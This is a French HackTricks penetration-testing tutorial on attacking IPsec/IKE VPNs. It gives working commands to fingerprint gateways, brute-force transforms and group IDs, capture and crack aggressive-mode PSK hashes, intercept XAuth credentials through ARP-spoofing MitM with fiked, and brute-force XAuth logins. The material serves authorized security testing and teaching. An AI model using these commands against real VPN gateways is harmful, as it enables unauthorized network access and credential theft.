# 500/udp - Test d'intrusion sur les VPN IPsec/IKE
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Groupe de sécurité Try Hard**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Informations de base **IPsec** est largement reconnu comme la technologie principale pour sécuriser les communications entre les réseaux (LAN à LAN) et des utilisateurs distants à la passerelle réseau (accès distant), servant de base aux solutions VPN d'entreprise. L'établissement d'une **association de sécurité (SA)** entre deux points est géré par **IKE**, qui fonctionne sous l'égide d'ISAKMP, un protocole conçu pour l'authentification et l'échange de clés. Ce processus se déroule en plusieurs phases : - **Phase 1 :** Un canal sécurisé est créé entre deux points. Cela est réalisé en utilisant une clé pré-partagée (PSK) ou des certificats, en utilisant soit le mode principal, qui implique trois paires de messages, soit le **mode agressif**. - **Phase 1.5 :** Bien que non obligatoire, cette phase, appelée phase d'authentification étendue, vérifie l'identité de l'utilisateur tentant de se connecter en demandant un nom d'utilisateur et un mot de passe. - **Phase 2 :** Cette phase est dédiée à la négociation des paramètres de sécurisation des données avec **ESP** et **AH**. Elle permet l'utilisation d'algorithmes différents de ceux de la Phase 1 pour assurer la **parfaite confidentialité en avant (PFS)**, renforçant la sécurité. **Port par défaut :** 500/udp ## **Découvrez** le service en utilisant nmap ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Trouver une transformation valide** La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transform contient un certain nombre d'attributs tels que DES ou 3DES comme algorithme de chiffrement, SHA ou MD5 comme algorithme d'intégrité, une clé pré-partagée comme type d'authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clé et 28800 secondes comme durée de vie. La première chose à faire est donc de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition contenant huit transformations à l'intérieur. En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison : ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le VPN est configuré en utilisant une clé prépartagée (et c'est vraiment bon pour un testeur d'intrusion).\ **La valeur de la dernière ligne est également très importante :** * _0 handshake retourné; 0 notification retournée:_ Cela signifie que la cible n'est **pas une passerelle IPsec**. * _**1 handshake retourné; 0 notification retournée:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'une ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie). * _0 handshake retourné; 1 notification retournée:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse supplémentaire et une proposition révisée devraient être essayées). Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez **forcer un peu pour trouver une transformation valide :** Tout d'abord, vous devez créer toutes les transformations possibles : ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` Et ensuite effectuez une attaque par force brute sur chacun en utilisant ike-scan (cela peut prendre plusieurs minutes) : ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` Si la méthode de la force brute n'a pas fonctionné, peut-être que le serveur répond sans poignées de main même aux transformations valides. Ensuite, vous pourriez essayer la même méthode de force brute mais en utilisant le mode agressif : ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Espérons qu'**une transformation valide soit renvoyée**.\ Vous pouvez essayer la **même attaque** en utilisant [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ Vous pourriez également essayer de forcer les transformations avec [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../.gitbook/assets/image (109).png>) Dans **Groupe DH : 14 = MODP 2048 bits** et **15 = 3072 bits**\ **2 = HMAC-SHA = SHA1 (dans ce cas). Le format `--trans` est $Enc,$Hash,$Auth,$DH** Cisco indique d'éviter d'utiliser les groupes DH 1 et 2 car ils ne sont pas assez forts. Les experts estiment que **les pays disposant de nombreuses ressources peuvent facilement casser le chiffrement** des données utilisant ces groupes faibles. Cela se fait en utilisant une méthode spéciale qui les prépare à casser rapidement les codes. Bien que cela coûte cher pour mettre en place cette méthode, cela permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe qui n'est pas fort (comme 1 024 bits ou moins). ### Fingerprinting du serveur Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le fournisseur** du dispositif. L'outil envoie une proposition initiale et arrête de rejouer. Ensuite, il **analysera** la **différence de temps** entre les **messages** reçus du serveur et le modèle de réponse correspondant, le testeur d'intrusion peut identifier avec succès le fournisseur de passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile **ID de fournisseur (VID)** avec IKE. **Spécifiez la transformation valide si nécessaire** (en utilisant --trans) Si IKE découvre le fournisseur, il l'affichera : ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` Cela peut également être réalisé avec le script nmap _**ike-version**_ ## Trouver le bon ID (nom de groupe) Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressif et le bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\ Pour ce faire, je vous recommande 2 méthodes : ### Brute-forcer l'ID avec ike-scan Tout d'abord, essayez de faire une demande avec un faux ID pour essayer de rassembler le hash ("-P") : ```bash ike-scan -P -M -A -n fakeID ``` Si **aucun hash n'est renvoyé**, alors probablement cette méthode de force brute fonctionnera. **Si un hash est renvoyé, cela signifie qu'un faux hash va être renvoyé pour un faux ID, donc cette méthode ne sera pas fiable** pour la force brute de l'ID. Par exemple, un faux hash pourrait être renvoyé (cela se produit dans les versions modernes) : ![](<../.gitbook/assets/image (110).png>) Mais comme je l'ai dit, si aucun hash n'est renvoyé, vous devriez essayer de force brute les noms de groupe courants en utilisant ike-scan. Ce script **essaiera de force brute les IDs possibles** et renverra les IDs où une poignée de main valide est renvoyée (ce sera un nom de groupe valide). Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'elles fonctionne correctement). Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui dans seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) des noms de groupe courants pour les force brute : ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` ### Bruteforcing ID with Iker [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour effectuer une attaque par force brute sur les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**. ### Bruteforcing ID with ikeforce [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer de manière brute les IDs également**. Cet outil **essaiera d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **différencier un ID valide d'un ID non valide** (pouvant présenter des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible). Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser. * La **première méthode** consiste à effectuer une attaque par force brute sur les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées que par le serveur si le nom du groupe est correct). * La **deuxième méthode** disponible est de **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque le bon ID est utilisé. * La **troisième méthode** consiste à **rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**. * Enfin, si le serveur ne renvoie rien aux vérifications, **ikeforce** tentera de forcer de manière brute le serveur et vérifiera si lorsque le bon ID est envoyé, le serveur renvoie un paquet.\ Évidemment, l'objectif de la force brute sur l'ID est d'obtenir la **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et la **PSK**, vous devrez effectuer une attaque par force brute sur le XAUTH (si celui-ci est activé). Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'elles fonctionne correctement). ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### Capture d'ID (Du livre **Network Security Assessment: Know Your Network**): Il est également possible d'obtenir des noms d'utilisateur valides en sniffant la connexion entre le client VPN et le serveur, car le premier paquet de mode agressif contenant l'ID du client est envoyé en clair ![](<../.gitbook/assets/image (111).png>) ## Capture et craquage du hash Enfin, si vous avez trouvé une **transformation valide** et le **nom du groupe** et si le **mode agressif est autorisé**, alors vous pouvez très facilement récupérer le hash crackable: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` Le hash sera enregistré à l'intérieur de _hash.txt_. Vous pouvez utiliser **psk-crack**, **john** (en utilisant [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) et **hashcat** pour **cracker** le hash: ```bash psk-crack -d psk.txt ``` ## **XAuth** **Le mode IKE en mode agressif** combiné à une **clé pré-partagée (PSK)** est couramment utilisé à des fins d'**authentification de groupe**. Cette méthode est complétée par **XAuth (Authentification étendue)**, qui sert à introduire une couche supplémentaire d'**authentification utilisateur**. Une telle authentification exploite généralement des services tels que **Microsoft Active Directory**, **RADIUS**, ou des systèmes comparables. En passant à **IKEv2**, on observe un changement notable où **EAP (Protocole d'authentification extensible)** est utilisé à la place de **XAuth** dans le but d'authentifier les utilisateurs. Ce changement souligne une évolution des pratiques d'authentification au sein des protocoles de communication sécurisés. ### Man-in-the-Middle (MitM) du réseau local pour capturer les identifiants Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira comme un point de terminaison VPN et capturera les identifiants XAuth: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` ### Attaque de l'homme du milieu (MitM) et blocage du trafic sur le port 500 Également, en utilisant IPSec, essayez de réaliser une attaque de l'homme du milieu (MitM) et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il est possible que le trafic soit envoyé en clair. ### Force brute des noms d'utilisateur et des mots de passe XAUTH avec ikeforce Pour effectuer une force brute sur le **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et la **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe : ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` De cette manière, ikeforce va essayer de se connecter en utilisant chaque combinaison nom d'utilisateur : mot de passe. Si vous avez trouvé un ou plusieurs transforms valides, utilisez-les comme dans les étapes précédentes. ## Authentification avec un VPN IPSEC Dans Kali, **VPNC** est utilisé pour établir des tunnels IPsec. Les **profils** doivent être situés dans le répertoire `/etc/vpnc/`. Vous pouvez initier ces profils en utilisant la commande _**vpnc**_. Les commandes et configurations suivantes illustrent le processus de configuration d'une connexion VPN avec VPNC : ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] IPSec ID [VPN_CONNECTION_ID] IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk Xauth username [VPN_USERNAME] Xauth password [VPN_PASSWORD] STOP root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` Dans cette configuration : - Remplacez `[VPN_GATEWAY_IP]` par l'adresse IP réelle de la passerelle VPN. - Remplacez `[VPN_CONNECTION_ID]` par l'identifiant de la connexion VPN. - Remplacez `[VPN_GROUP_SECRET]` par le secret de groupe VPN. - Remplacez `[VPN_USERNAME]` et `[VPN_PASSWORD]` par les identifiants d'authentification VPN. - `[PID]` symbolise l'ID de processus qui sera attribué lorsque `vpnc` sera lancé. Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les espaces réservés lors de la configuration du VPN. ## Matériel de référence * [Document de craquage PSK](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Analyse d'une implémentation VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) * Évaluation de la sécurité du réseau, 3e édition ## Shodan * `port:500 IKE` **Groupe de sécurité Try Hard**
{% embed url="https://discord.gg/tryhardsecurity" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.